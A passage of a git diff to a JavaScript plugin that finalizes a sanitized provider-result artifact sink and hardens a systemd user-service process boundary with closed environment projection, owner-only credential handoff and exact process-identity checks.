+ complete: sourceTruncated !== true, + source_truncated: sourceTruncated === true, + provenance: null, + inline_tail: null, + }); +} + +function utf8BoundaryStart(bytes, fromOffset) { + if (fromOffset === 0) return 0; + let start = 0; + while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start += 1; + return start; +} + +async function readInlineTail(store, provenance) { + const length = provenance.sanitized_byte_length; + const maxBytes = LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES; + const offset = length > maxBytes ? length - maxBytes : 0; + const page = await readSanitizedArtifactV1(store, provenance.sanitized_ref, { + offset, + max_bytes: maxBytes, + }); + const selected = BUFFER_FROM(page.selected_content, 'base64'); + if (selected.byteLength !== page.selected_byte_length) { + failSink('invalid_format', 'inline_tail', + 'The sanitized reader returned a tail whose encoding did not round-trip.'); + } + const start = utf8BoundaryStart(selected, offset); + const aligned = start === 0 ? selected : selected.subarray(start); + const text = aligned.toString('utf8'); + const tailBytes = BUFFER_FROM(text, 'utf8'); + if (tailBytes.byteLength > maxBytes) { + failSink('invalid_format', 'inline_tail', + 'The inline tail exceeded the 4096-byte UTF-8 cap after boundary alignment.'); + } + return freezeData({ + encoding: 'utf8', + text, + byte_length: tailBytes.byteLength, + offset: offset + start, + max_bytes: maxBytes, + inline_clipped: (offset + start) > 0 || tailBytes.byteLength < length, + source_truncated: provenance.source_truncated === true, + complete: provenance.complete === true, + reader_clipped: page.reader_clipped === true, + more: page.more === true, + next_offset: page.next_offset, + }); +} + +function publishedReceipt(identity, mediaType, relativePath, provenance, inlineTail) { + const rawRef = provenance.raw_ref; + const sanitizedRef = provenance.sanitized_ref; + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: true, + empty: false, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + provider: identity.provider, + model: identity.model, + child_envelope_digest: identity.child_envelope_digest, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + relative_path: relativePath, + media_type: mediaType, + raw_ref: rawRef, + sanitized_ref: sanitizedRef, + raw_digest: provenance.source_digest, + sanitized_digest: provenance.sanitized_digest, + ref_digest_raw: artifactRefDigestV1(rawRef, 'raw_ref').digest, + ref_digest_sanitized: artifactRefDigestV1(sanitizedRef, 'sanitized_ref').digest, + source_byte_length: provenance.source_byte_length, + sanitized_byte_length: provenance.sanitized_byte_length, + redaction_counts: provenance.redaction_counts, + sanitizer_version: provenance.sanitizer_version, + policy_id: provenance.policy_id, + complete: provenance.complete === true, + source_truncated: provenance.source_truncated === true, + provenance, + inline_tail: inlineTail, + }); +} + +export function contentFreeSinkFailureV1(error) { + const fromContract = error instanceof RunContractV1Error; + const rawCode = fromContract && typeof error.code === 'string' + ? error.code + : 'artifact_sink_failed'; + const rawPath = fromContract && typeof error.path === 'string' + ? error.path + : 'sink'; + const code = capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST, rawCode) + ? rawCode + : 'artifact_sink_failed'; + const field = capturedIncludes(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST, rawPath) + ? rawPath + : 'sink'; + return freezeData({ + schema: LOCAL_PROVIDER_RESULT_SINK_SCHEMA_ID, + version: LOCAL_PROVIDER_RESULT_SINK_VERSION, + published: false, + error: freezeData({ + code, + path: field, + message: LOCAL_PROVIDER_RESULT_SINK_FAILURE_MESSAGE, + }), + }); +} + +export function localProviderResultIdentityFromTaskV1(task) { + if (task === null || typeof task !== 'object' || Array.isArray(task)) return null; + if (IS_PROXY(task)) return null; + if (!hasOwn(task, 'run_id') || !hasOwn(task, 'assignment_id') || !hasOwn(task, 'provider')) { + return null; + } + let model; + if (hasOwn(task, 'model')) model = task.model; + else if (task.provider === 'dsh' && hasOwn(task, 'dsh_model')) model = task.dsh_model; + if (model === null || model === undefined) return null; + const identity = { + run_id: task.run_id, + assignment_id: task.assignment_id, + provider: task.provider, + model, + }; + if (hasOwn(task, 'child_envelope_digest')) { + identity.child_envelope_digest = task.child_envelope_digest; + } + return freezeData(identity); +} + +export async function openLocalProviderArtifactStoreV1(stateRoot) { + if (typeof stateRoot !== 'string' || stateRoot.length === 0) { + failSink('invalid_type', 'root', + 'The artifact store state root must be an absolute path string.'); + } + if (!PATH_IS_ABSOLUTE(stateRoot)) { + failSink('invalid_format', 'root', + 'The artifact store state root must be an absolute path string.'); + } + const artifactsRoot = PATH_JOIN(PATH_RESOLVE(stateRoot), LOCAL_PROVIDER_RESULT_STORE_DIR); + try { + await MKDIR(artifactsRoot, { recursive: true, mode: 0o700 }); + await CHMOD(artifactsRoot, 0o700); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + failSink('artifact_sink_failed', 'root', + 'The local provider artifact store root could not be prepared.'); + } + return openArtifactStoreV1({ root: artifactsRoot }); +} + +export async function sinkLocalProviderResultV1(store, input) { + const { identity, sourceTruncated, source, input: options } = parseOptions(input); + const normalized = await normalizeSource(source); + const mediaType = parseMediaType(options, normalized.mediaType); + const bytes = normalized.bytes; + + if (bytes.byteLength > MAX_RAW_ARTIFACT_BYTE_LENGTH) { + failSink('artifact_stream_over_cap', 'source', + `The provider result exceeded the ${MAX_RAW_ARTIFACT_BYTE_LENGTH}-byte raw class cap; nothing was published.`); + } + if (bytes.byteLength < MIN_ARTIFACT_BYTE_LENGTH) { + return emptyReceipt(identity, sourceTruncated); + } + + const relativePath = providerReportPath(identity, mediaType); + const rawRef = parseArtifactRefV1({ + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: identity.run_id, + assignment_id: identity.assignment_id, + artifact_kind: LOCAL_PROVIDER_RESULT_ARTIFACT_KIND, + artifact_class: 'raw', + relative_path: relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: mediaType, + content_encoding: SANITIZER_CONTENT_ENCODING, + }, 'artifact_ref'); + + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRef, + source: bytes, + source_truncated: sourceTruncated, + }); + if (provenance.schema !== ARTIFACT_SANITIZER_SCHEMA_ID) { + failSink('artifact_sink_not_verified', 'provenance', + 'The sanitizer returned provenance the sink does not recognize; nothing is reported.'); + } + + const rawVerdict = await verifyStoredArtifactV1(store, provenance.raw_ref); + const sanitizedVerdict = await verifyStoredArtifactV1(store, provenance.sanitized_ref); + if (rawVerdict.verified !== true || sanitizedVerdict.verified !== true) { + failSink('artifact_sink_not_verified', 'artifact_ref', + 'Published provider-result artifacts did not verify; nothing is reported.'); + } + + const inlineTail = await readInlineTail(store, provenance); + return publishedReceipt(identity, mediaType, relativePath, provenance, inlineTail); +} + +capturedFreeze(sinkLocalProviderResultV1); +capturedFreeze(openLocalProviderArtifactStoreV1); +capturedFreeze(createLocalProviderResultCollectorV1); +capturedFreeze(collectCliProviderOutputV1); +capturedFreeze(contentFreeSinkFailureV1); +capturedFreeze(localProviderResultIdentityFromTaskV1); +capturedFreeze(localProviderResultReportPathV1); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_PROVIDERS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_OPTION_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_RECEIPT_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_KEYS); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_ERROR_CODES); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_CODE_ALLOWLIST); +capturedFreeze(LOCAL_PROVIDER_RESULT_SINK_FAILURE_PATH_ALLOWLIST); diff --git a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs index 8e24a60..9767e48 100644 --- a/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/process-boundary.mjs @@ -1,29 +1,68 @@ import { spawn as nodeSpawn, execFile as nodeExecFile } from 'node:child_process'; import { randomUUID } from 'node:crypto'; -import { readFile as nodeReadFile } from 'node:fs/promises'; +import { readFile as nodeReadFile, readlink as nodeReadlink } from 'node:fs/promises'; import path from 'node:path'; +import { fileURLToPath } from 'node:url'; import { promisify } from 'node:util'; +import { + cleanupCredentialHandoff, + createCredentialHandoff, + extractCredentialEnv, + handoffPathFromProcessIdentity, + isCredentialEnvKey, + isForbiddenProviderEnvKey, + omitCredentialEnv, + systemdClientEnvironment, +} from './credential-boundary.mjs'; + /** * A deliberately small Linux process boundary for local workers. * - * This is not a provider sandbox: the command, environment, working directory, - * credentials, network, and filesystem capabilities are inherited unchanged. - * The only extra contract is a manager-owned systemd user service with + * This is not a provider sandbox: the command, working directory, network, + * and filesystem capabilities are inherited unchanged. Environment is a + * closed projection supplied by the caller. systemd-run `--setenv` is + * additive to the user-manager block, so the unit also UnsetEnvironment's + * inherited names that are not in the projection and exec's through + * `env -i` of that same allowlist. Credential values never appear in + * systemd-run argv; they use an owner-only no-follow regular-file handoff + * consumed by credential-handoff-loader.mjs, which is always the service + * command so Cursor Local is never the manager-inherited leader. The extra + * lifecycle contract is a manager-owned systemd user service with * KillMode=control-group, so an owned stop reaches detached descendants as * well as the worker leader and the worker survives the launching client. - * The module is provider-free and is not wired into the MCP surface by itself. + * The module is not wired into the MCP surface by itself. */ +const CREDENTIAL_HANDOFF_LOADER = fileURLToPath(new URL('./credential-handoff-loader.mjs', import.meta.url)); + export const PROCESS_BOUNDARY_VERSION = 1; export const PROCESS_BOUNDARY_DEFAULTS = Object.freeze({ launchTimeoutMs: 3_000, stopTimeoutMs: 5_000, pollMs: 25, }); +export const PROCESS_BOUNDARY_LIFECYCLE_BOUNDS_MS = Object.freeze({ + natural_boundary_and_lock_drain: 2_000, + exact_unit_stop_and_empty_proof: 5_000, + cgroup_poll_interval: 25, +}); +export const PROCESS_BOUNDARY_STATES = Object.freeze(['inactive_empty', 'active', 'unknown']); +export const PROCESS_IDENTITY_CLASSES = Object.freeze([ + 'exited', + 'live_in_cgroup', + 'containment_failure_live_outside_cgroup', + 'pid_reuse', + 'namespace_mismatch', + 'visibility_unknown', + 'identity_mismatch', +]); +const EXITED_PROC_STATES = new Set(['Z', 'X', 'x']); +const NS_PID_LINK = /^pid:\[(\d+)\]$/u; const SYSTEMD_RUN = '/usr/bin/systemd-run'; const SYSTEMCTL = '/usr/bin/systemctl'; +const ENV_RESET = '/usr/bin/env'; const CGROUP_ROOT = '/sys/fs/cgroup'; const UNIT = /^codex-co-engineer-[a-f0-9]{32}\.(?:service|scope)$/u; const SERVICE_UNIT = /^codex-co-engineer-[a-f0-9]{32}\.service$/u; @@ -53,6 +92,7 @@ function defaultAdapter() { spawn: nodeSpawn, execFile: defaultExecFile, readFile: (file) => nodeReadFile(file, 'utf8'), + readlink: (file) => nodeReadlink(file), sleep: (milliseconds) => new Promise((resolve) => setTimeout(resolve, milliseconds)), }; } @@ -144,16 +184,45 @@ function requireLogPath(logPath) { return logPath; } -function requireEnvironment(env) { +function requireEnvironment(env, { includeCredentials = false } = {}) { + if (!env || typeof env !== 'object' || Array.isArray(env)) fail('invalid_env', 'env must be an environment object.'); + return Object.entries(env).flatMap(([name, value]) => { + if (!/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name) || typeof value !== 'string' || value.includes('\0')) { + fail('invalid_env', 'env must contain POSIX variable names and NUL-free string values.'); + } + if (!includeCredentials && isCredentialEnvKey(name)) return []; + return [`--setenv=${name}=${value}`]; + }); +} + +function closedEnvAssignments(env) { if (!env || typeof env !== 'object' || Array.isArray(env)) fail('invalid_env', 'env must be an environment object.'); - return Object.entries(env).map(([name, value]) => { + return Object.entries(env).flatMap(([name, value]) => { if (!/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name) || typeof value !== 'string' || value.includes('\0')) { fail('invalid_env', 'env must contain POSIX variable names and NUL-free string values.'); } - return `--setenv=${name}=${value}`; + if (isCredentialEnvKey(name)) return []; + return [`${name}=${value}`]; }); } +function inheritedUnsetNames(publicEnv, inherited) { + if (inherited == null) return []; + if (typeof inherited !== 'object' || Array.isArray(inherited)) fail('invalid_env', 'inherited must be an environment object.'); + const assigned = new Set(); + for (const name of Object.keys(publicEnv ?? {})) { + if (isCredentialEnvKey(name)) continue; + assigned.add(name); + } + const names = []; + for (const name of Object.keys(inherited)) { + if (typeof name !== 'string' || !/^[A-Za-z_][A-Za-z0-9_]*$/u.test(name)) continue; + if (assigned.has(name)) continue; + names.push(name); + } + return names.sort(); +} + function receiptFromRecord(record, boundary = 'systemd-user-service-cgroup') { const unit = requireUnit(record.unit); if ((boundary === 'systemd-user-service-cgroup' && !SERVICE_UNIT.test(unit)) @@ -244,25 +313,28 @@ export async function probeProcessBoundary({ adapter } = {}) { boundary: 'systemd-user-service-cgroup', manager_version: compact(properties.Version, 80), control_group: properties.ControlGroup, - capabilities: { kill_mode: 'control-group', environment: 'inherited', provider_sandbox: false, manager_owned: true }, + capabilities: { kill_mode: 'control-group', environment: 'closed_projection', provider_sandbox: false, manager_owned: true }, }); } -export function buildProcessBoundaryArgv({ unit, description, command, args = [], cwd, env = {}, logPath } = {}) { +export function buildProcessBoundaryArgv({ unit, description, command, args = [], cwd, env = {}, logPath, inherited } = {}) { requireServiceUnit(unit); requireDescription(description); requireCommand(command); const normalizedArgs = requireArgs(args); const workingDirectory = requireCwd(cwd); const outputPath = requireLogPath(logPath); + const publicAssignments = closedEnvAssignments(env); + const unset = inheritedUnsetNames(env, inherited); return [ '--user', '--quiet', '--collect', '--no-block', '--service-type=exec', `--unit=${unit}`, `--property=Description=${description}`, '--property=KillMode=control-group', + ...(unset.length > 0 ? [`--property=UnsetEnvironment=${unset.join(' ')}`] : []), ...(workingDirectory ? [`--working-directory=${workingDirectory}`] : []), ...(outputPath ? [`--property=StandardOutput=append:${outputPath}`, `--property=StandardError=append:${outputPath}`] : []), ...requireEnvironment(env), - '--', command, ...normalizedArgs, + '--', ENV_RESET, '-i', ...publicAssignments, command, ...normalizedArgs, ]; } @@ -338,8 +410,11 @@ async function waitForEmpty(record, timeoutMs) { while (Date.now() < deadline) { const shown = await showUnit(record.host, record.receipt.unit); if (!shown.found) return true; - validateOwnedUnit(record.receipt, shown.properties); - if (await cgroupEmpty(record.host, record.receipt.control_group)) return true; + const live = ACTIVE_UNIT_STATES.has(shown.properties.ActiveState); + if (!ownedGenerationStillExact(record.receipt, shown.properties, { live })) { + fail('ownership_mismatch', 'The systemd process boundary no longer matches its owned generation.'); + } + if (!live && await cgroupEmpty(record.host, record.receipt.control_group)) return true; await record.host.sleep(PROCESS_BOUNDARY_DEFAULTS.pollMs); } return false; @@ -350,7 +425,7 @@ async function systemctlAction(host, args, timeoutMs) { if (!result.ok) fail('systemd_action_failed', `systemd user action failed (${compact(result.stderr || result.error?.message)}).`, { cause: result.error }); } -async function cleanupUnverifiedLaunch(host, unit, description) { +async function cleanupUnverifiedLaunch(host, unit, description, handoffPath) { try { const shown = await showUnit(host, unit); if (!shown.found || shown.properties.Id !== unit || shown.properties.Description !== description) return; @@ -367,6 +442,7 @@ async function cleanupUnverifiedLaunch(host, unit, description) { } catch { // Launch already failed; never replace the original error with cleanup noise. } + if (handoffPath) await cleanupCredentialHandoff(handoffPath).catch(() => {}); } export async function inspectProcessBoundary(handle, { adapter } = {}) { @@ -382,17 +458,56 @@ export async function inspectProcessBoundary(handle, { adapter } = {}) { }); } -export async function stopProcessBoundary(handle, { adapter, timeoutMs = PROCESS_BOUNDARY_DEFAULTS.stopTimeoutMs } = {}) { +function expectedLeaderFromRecord(record) { + const pid = Number(record?.child?.pid); + const ticks = record?.leaderIdentity?.start_ticks; + if (!Number.isSafeInteger(pid) || pid < 2 || typeof ticks !== 'string' || ticks.length === 0) return null; + return { pid, process_start_ticks: ticks }; +} + +async function proveHandleInactiveEmpty(record, rememberedIdentities) { + const inspection = await inspectExactProcessBoundary(record.receipt, { + adapter: record.host, + expectedLeader: expectedLeaderFromRecord(record), + rememberedIdentities, + }); + if (inspection.state === 'inactive_empty' && inspection.empty === true) return inspection; + fail(inspection.code ?? 'cgroup_not_empty', 'Owned systemd process boundary still has descendants after TERM and KILL.'); +} + +export async function stopProcessBoundary(handle, { adapter, timeoutMs = PROCESS_BOUNDARY_DEFAULTS.stopTimeoutMs, rememberedIdentities } = {}) { const record = recordFromHandle(handle, adapter); - if (record.stopped) return Object.freeze({ stopped: true, cgroup_empty: true, idempotent: true }); + const remembered = normalizeRememberedIdentities( + [...(record.rememberedIdentities ?? []), ...(rememberedIdentities ?? [])], + expectedLeaderFromRecord(record), + ); + if (record.stopped) { + await proveHandleInactiveEmpty(record, remembered); + return Object.freeze({ stopped: true, cgroup_empty: true, idempotent: true }); + } if (!Number.isSafeInteger(timeoutMs) || timeoutMs < 100) fail('invalid_timeout', 'timeoutMs must be at least 100ms.'); + if (record.handoffPath) await cleanupCredentialHandoff(record.handoffPath).catch(() => {}); + record.handoffPath = undefined; const initial = await showUnit(record.host, record.receipt.unit); if (!initial.found) { + await proveHandleInactiveEmpty(record, remembered); record.stopped = true; return Object.freeze({ stopped: true, cgroup_empty: true, idempotent: true }); } - validateOwnedUnit(record.receipt, initial.properties); + const initialLive = ACTIVE_UNIT_STATES.has(initial.properties.ActiveState); + if (!ownedGenerationStillExact(record.receipt, initial.properties, { live: initialLive })) { + fail('ownership_mismatch', 'The systemd process boundary no longer matches its owned generation.'); + } + const cgroup = await inspectCgroupPath(record.host, record.receipt.control_group); + if (cgroup.visibility === 'unknown') { + fail(cgroup.code ?? 'worker_boundary_membership_unknown', 'Owned process-boundary membership could not be identified exactly.'); + } + const snapshotted = [ + ...remembered, + ...await snapshotRememberedIdentities(record.host, cgroup.members ?? []), + ]; + record.rememberedIdentities = snapshotted; await systemctlAction(record.host, ['--user', 'kill', '--kill-whom=all', '--signal=TERM', record.receipt.unit], timeoutMs); let empty = await waitForEmpty(record, timeoutMs); let forced = false; @@ -401,13 +516,17 @@ export async function stopProcessBoundary(handle, { adapter, timeoutMs = PROCESS if (!beforeKill.found) { empty = true; } else { - validateOwnedUnit(record.receipt, beforeKill.properties); + const live = ACTIVE_UNIT_STATES.has(beforeKill.properties.ActiveState); + if (!ownedGenerationStillExact(record.receipt, beforeKill.properties, { live })) { + fail('ownership_mismatch', 'The systemd process boundary no longer matches its owned generation.'); + } await systemctlAction(record.host, ['--user', 'kill', '--kill-whom=all', '--signal=KILL', record.receipt.unit], timeoutMs); forced = true; empty = await waitForEmpty(record, timeoutMs); } } if (!empty) fail('cgroup_not_empty', 'Owned systemd process boundary still has descendants after TERM and KILL.'); + await proveHandleInactiveEmpty(record, snapshotted); record.stopped = true; return Object.freeze({ stopped: true, cgroup_empty: true, forced, idempotent: false }); } @@ -422,7 +541,14 @@ export function restoreProcessBoundary(receipt, { adapter } = {}) { const host = requireAdapter(adapter); requireLinux(host); const handle = Object.freeze({ kind: 'systemd-user-process-boundary', ...normalized }); - HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false }); + const identity = /^codex-co-engineer-([a-f0-9]{32})\./u.exec(normalized.unit)?.[1]; + let handoffPath; + try { + handoffPath = identity ? handoffPathFromProcessIdentity(identity) : undefined; + } catch { + handoffPath = undefined; + } + HANDLES.set(handle, { host, receipt: normalized, child: null, stopped: false, handoffPath }); return handle; } @@ -437,18 +563,28 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro if (taskId !== undefined && (typeof taskId !== 'string' || !/^[A-Za-z0-9._-]{1,80}$/u.test(taskId))) { fail('invalid_task_id', 'taskId must contain only safe task identifier characters.'); } + const secrets = extractCredentialEnv(env); + const publicEnv = omitCredentialEnv(env); + for (const key of Object.keys(publicEnv)) { + if (isForbiddenProviderEnvKey(key)) delete publicEnv[key]; + } + requireEnvironment(publicEnv); const token = randomUUID().replaceAll('-', ''); const unit = `codex-co-engineer-${token}.service`; const description = `codex-co-engineer-task:${token}`; + const handoff = await createCredentialHandoff(secrets, { identity: token }); + const handoffPath = handoff.path; + const serviceCommand = process.execPath; + const serviceArgs = [CREDENTIAL_HANDOFF_LOADER, handoff.path, '--', command, ...normalizedArgs]; const child = host.spawn(SYSTEMD_RUN, buildProcessBoundaryArgv({ - unit, description, command, args: normalizedArgs, cwd: workingDirectory, env, logPath: outputPath, + unit, description, command: serviceCommand, args: serviceArgs, cwd: workingDirectory, env: publicEnv, logPath: outputPath, + inherited: process.env, }), { cwd: workingDirectory, - // The transient service receives exactly `env` through --setenv above. - // The short-lived systemd-run client also needs the caller's D-Bus session - // variables so a deliberately minimal provider environment cannot make - // the manager lookup fail before the service is queued. - env: { ...process.env, ...env }, + // Credential values live in the owner-only handoff file, not in + // systemd-run argv. The short-lived client receives only D-Bus session + // keys so a minimal provider environment cannot hide the user manager. + env: systemdClientEnvironment(process.env), detached: false, shell: false, stdio, @@ -476,17 +612,989 @@ export async function launchProcessBoundary({ command, args = [], cwd, env = pro }); const worker = Object.freeze({ pid: mainPid, unref() {} }); const handle = Object.freeze({ kind: 'systemd-user-process-boundary', ...receipt }); - HANDLES.set(handle, { host, receipt, child: worker, launcher: child, stopped: false }); + const leaderObserved = await observeExactProcessIdentity(mainPid, { adapter: host }); + const leaderIdentity = freezeExactProcessIdentity(leaderObserved); + HANDLES.set(handle, { + host, + receipt, + child: worker, + launcher: child, + stopped: false, + handoffPath, + leaderIdentity, + rememberedIdentities: leaderIdentity ? [leaderIdentity] : [], + }); return { handle, child: worker, receipt }; } await host.sleep(PROCESS_BOUNDARY_DEFAULTS.pollMs); } } catch (error) { - await cleanupUnverifiedLaunch(host, unit, description); + await cleanupUnverifiedLaunch(host, unit, description, handoffPath); child.kill?.('SIGTERM'); throw error; } - await cleanupUnverifiedLaunch(host, unit, description); + await cleanupUnverifiedLaunch(host, unit, description, handoffPath); child.kill?.('SIGTERM'); fail('unit_verification_failed', 'The transient service could not be verified before its launch deadline.'); } + +const ACTIVE_UNIT_STATES = new Set(['active', 'activating', 'deactivating']); +const INACTIVE_UNIT_STATES = new Set(['inactive', 'failed']); + +function freezeBoundaryInspection(inspection) { + return Object.freeze({ + state: inspection.state, + found: inspection.found === true, + empty: inspection.empty ?? null, + active_state: inspection.active_state ?? null, + main_pid: inspection.main_pid ?? null, + populated: inspection.populated ?? null, + members: Object.freeze([...(inspection.members ?? [])]), + identity_matched: inspection.identity_matched === true, + visibility: inspection.visibility ?? 'unknown', + stop_allowed: inspection.stop_allowed === true, + code: inspection.code ?? null, + receipt: inspection.receipt, + }); +} + +function parsePopulated(events) { + const matches = [...String(events ?? '').matchAll(/^populated\s+(\d+)\s*$/gmu)]; + if (matches.length !== 1) return { ok: false, populated: null }; + const value = Number(matches[0][1]); + if (value !== 0 && value !== 1) return { ok: false, populated: null }; + return { ok: true, populated: value === 1 }; +} + +function parseProcStat(text) { + const raw = String(text ?? ''); + const close = raw.lastIndexOf(')'); + if (close < 0) return null; + const fields = raw.slice(close + 2).trim().split(/\s+/u); + const state = fields[0]; + const ppid = Number(fields[1]); + const startTicks = fields[19]; + if (!/^[A-Za-z]$/u.test(state) || !Number.isInteger(ppid) || ppid < 0 || !startTicks) return null; + return { state, ppid, start_ticks: startTicks }; +} + +function parseProcStatus(text) { + const raw = String(text ?? ''); + let nspid; + let state; + for (const line of raw.split(/\r?\n/u)) { + if (line.startsWith('NSpid:')) { + const value = line.slice('NSpid:'.length).trim(); + if (value && /^[0-9]+(?:[ \t]+[0-9]+)*$/u.test(value)) nspid = value.replace(/\s+/gu, ' '); + } else if (line.startsWith('State:')) { + const value = line.slice('State:'.length).trim(); + if (/^[A-Za-z]/u.test(value)) state = value[0]; + } + } + if (!state) return null; + return { state, nspid }; +} + +function parseNsPidInode(text) { + const match = NS_PID_LINK.exec(String(text ?? '').trim()); + return match ? match[1] : null; +} + +function parseProcCgroup(text) { + const match = /^0::(\/.*)$/mu.exec(String(text ?? '')); + return match ? match[1] : null; +} + +function parseCgroupProcs(text) { + const pids = []; + for (const line of String(text ?? '').split(/\r?\n/u)) { + const trimmed = line.trim(); + if (!trimmed) continue; + if (!/^[0-9]+$/u.test(trimmed)) return null; + const pid = Number(trimmed); + if (!Number.isSafeInteger(pid) || pid < 1) return null; + pids.push(pid); + } + return pids; +} + +function freezeProcessIdentityClassification(values) { + return Object.freeze({ + class: values.class, + pid: values.pid ?? null, + start_ticks: values.start_ticks ?? null, + nspid: values.nspid ?? null, + ns_inode: values.ns_inode ?? null, + state: values.state ?? null, + cgroup: values.cgroup ?? null, + live: values.live === true, + exited: values.exited === true, + fail_closed: values.fail_closed === true, + cgroup_empty_allowed: values.cgroup_empty_allowed === true, + code: values.code ?? null, + }); +} + +function identityPid(value) { + const pid = Number(value?.pid); + return Number.isSafeInteger(pid) && pid >= 1 ? pid : null; +} + +function identityStartTicks(value) { + const ticks = value?.start_ticks ?? value?.process_start_ticks; + return typeof ticks === 'string' && ticks.length > 0 ? ticks : null; +} + +export function freezeExactProcessIdentity(observed) { + const pid = identityPid(observed); + const startTicks = identityStartTicks(observed); + if (!pid || !startTicks || observed?.missing === true || observed?.unreadable === true || observed?.incomplete === true) { + return null; + } + return Object.freeze({ + pid, + start_ticks: startTicks, + ...(typeof observed.nspid === 'string' && observed.nspid.length > 0 ? { nspid: observed.nspid } : {}), + ...(typeof observed.ns_inode === 'string' && observed.ns_inode.length > 0 ? { ns_inode: observed.ns_inode } : {}), + ...(typeof observed.cgroup === 'string' && observed.cgroup.length > 0 ? { cgroup: observed.cgroup } : {}), + }); +} + +function expectedCgroupOf(expected, boundary) { + if (typeof expected?.cgroup === 'string' && expected.cgroup.length > 0) return expected.cgroup; + if (typeof boundary?.expected_cgroup === 'string' && boundary.expected_cgroup.length > 0) return boundary.expected_cgroup; + return null; +} + +function boundaryInactiveEmpty(boundary) { + return boundary?.unit_inactive === true && boundary?.cgroup_empty === true; +} + +/** + * Exact process-identity classifier. kill(0) and /proc existence are never + * live proof. Matching Z/X is exited only with exact identity plus an + * inactive empty owned cgroup. A matching non-zombie outside that cgroup is + * a containment failure and must never report empty/safe. + */ +export function classifyExactProcessIdentity(input = {}) { + const expected = input.expected; + const observed = input.observed; + const boundary = input.boundary ?? {}; + const pid = identityPid(expected); + const expectedTicks = identityStartTicks(expected); + const observedUnit = typeof boundary.observed_unit === 'string' && boundary.observed_unit.length > 0 + ? boundary.observed_unit : null; + const observedInvocation = typeof boundary.observed_invocation_id === 'string' && boundary.observed_invocation_id.length > 0 + ? boundary.observed_invocation_id : null; + const observedDescription = typeof boundary.observed_description === 'string' && boundary.observed_description.length > 0 + ? boundary.observed_description : null; + if (boundary.expected_unit != null && observedUnit != null && boundary.expected_unit !== observedUnit) { + return freezeProcessIdentityClassification({ + class: 'identity_mismatch', + pid, + fail_closed: true, + code: 'worker_boundary_identity_mismatch', + }); + } + if (boundary.expected_invocation_id != null && observedInvocation != null + && boundary.expected_invocation_id !== observedInvocation) { + return freezeProcessIdentityClassification({ + class: 'identity_mismatch', + pid, + fail_closed: true, + code: 'worker_boundary_identity_mismatch', + }); + } + if (boundary.expected_description != null && observedDescription != null + && boundary.expected_description !== observedDescription) { + return freezeProcessIdentityClassification({ + class: 'identity_mismatch', + pid, + fail_closed: true, + code: 'worker_boundary_identity_mismatch', + }); + } + if (!pid || !expectedTicks) { + return freezeProcessIdentityClassification({ + class: 'visibility_unknown', + pid, + fail_closed: true, + code: 'worker_boundary_pid_visibility_unknown', + }); + } + if (!observed || observed.unreadable === true || observed.incomplete === true) { + return freezeProcessIdentityClassification({ + class: 'visibility_unknown', + pid, + start_ticks: expectedTicks, + fail_closed: true, + code: 'worker_boundary_pid_visibility_unknown', + }); + } + if (observed.missing === true) { + const exited = boundaryInactiveEmpty(boundary); + return freezeProcessIdentityClassification({ + class: exited ? 'exited' : 'visibility_unknown', + pid, + start_ticks: expectedTicks, + live: false, + exited, + fail_closed: !exited, + cgroup_empty_allowed: exited, + code: exited ? null : 'worker_boundary_pid_visibility_unknown', + }); + } + const observedPid = identityPid(observed); + const observedTicks = identityStartTicks(observed); + const state = typeof observed.state === 'string' ? observed.state : null; + const cgroup = typeof observed.cgroup === 'string' && observed.cgroup.length > 0 ? observed.cgroup : null; + if (!observedPid || !observedTicks || !state || !cgroup) { + return freezeProcessIdentityClassification({ + class: 'visibility_unknown', + pid, + start_ticks: expectedTicks, + fail_closed: true, + code: 'worker_boundary_pid_visibility_unknown', + }); + } + if (observedPid !== pid || observedTicks !== expectedTicks) { + return freezeProcessIdentityClassification({ + class: 'pid_reuse', + pid: observedPid, + start_ticks: observedTicks, + nspid: observed.nspid ?? null, + ns_inode: observed.ns_inode ?? null, + state, + cgroup, + fail_closed: true, + code: 'worker_boundary_identity_mismatch', + }); + } + if (typeof expected.nspid === 'string' && expected.nspid.length > 0) { + if (typeof observed.nspid !== 'string' || observed.nspid.length === 0) { + return freezeProcessIdentityClassification({ + class: 'visibility_unknown', + pid, + start_ticks: expectedTicks, + state, + cgroup, + fail_closed: true, + code: 'worker_boundary_pid_visibility_unknown', + }); + } + if (observed.nspid !== expected.nspid) { + return freezeProcessIdentityClassification({ + class: 'namespace_mismatch', + pid, + start_ticks: expectedTicks, + nspid: observed.nspid, + ns_inode: observed.ns_inode ?? null, + state, + cgroup, + fail_closed: true, + code: 'worker_boundary_identity_mismatch', + }); + } + } + if (typeof expected.ns_inode === 'string' && expected.ns_inode.length > 0) { + if (typeof observed.ns_inode !== 'string' || observed.ns_inode.length === 0) { + return freezeProcessIdentityClassification({ + class: 'visibility_unknown', + pid, + start_ticks: expectedTicks, + nspid: observed.nspid ?? null, + state, + cgroup, + fail_closed: true, + code: 